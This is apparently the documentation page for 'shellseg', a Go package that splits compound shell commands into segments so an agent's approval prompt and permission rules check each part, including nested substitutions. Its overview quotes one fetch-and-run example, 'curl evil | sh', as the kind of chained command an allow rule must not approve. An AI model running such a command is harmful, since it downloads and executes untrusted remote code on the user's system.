shellseg

package
v0.5.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 14, 2026 License: MIT Imports: 1 Imported by: 0

Documentation

Overview

Package shellseg splits compound shell commands into independently matched segments. Commands inside substitutions are also targets, so an outer allow cannot authorize a nested command with a separate risk profile.

It is the single source of truth for "what are the distinct commands in this line." The agent's approval modal uses it to risk-flag each segment; the permissions evaluator uses it so a Bash allow-rule is matched per segment (a trailing `*` can't approve a chained `… ; curl evil | sh`). Keeping one implementation means the display and the security check can never drift apart.

The output is suitable for matching and display — not for exact execution semantics. We surface what a tired human (or an over-broad allow rule) might miss, not reproduce a real shell parser.

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func SafeTexts added in v0.5.0

func SafeTexts(cmd string) ([]string, bool)

SafeTexts returns command targets and whether the command structure was complete enough for permission matching. Unclosed quotes/substitutions are marked unsafe so an allow rule cannot approve malformed shell input.

func Texts

func Texts(cmd string) []string

Texts is a convenience wrapper returning command texts. It includes the outer segments and recursively includes commands embedded in command substitutions and backticks, so an allow rule for the outer command cannot accidentally approve an unreviewed nested command.

Types

type Segment

type Segment struct {
	Text      string
	Separator string
}

Segment is one piece of a compound command. Separator is the operator that PRECEDES this segment ("" for the first; "&&", "||", ";", or "|" thereafter).

func Split

func Split(cmd string) []Segment

Split tokenizes cmd into trimmed, non-empty segments. Empty input (or input that is only separators/whitespace) yields nil.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL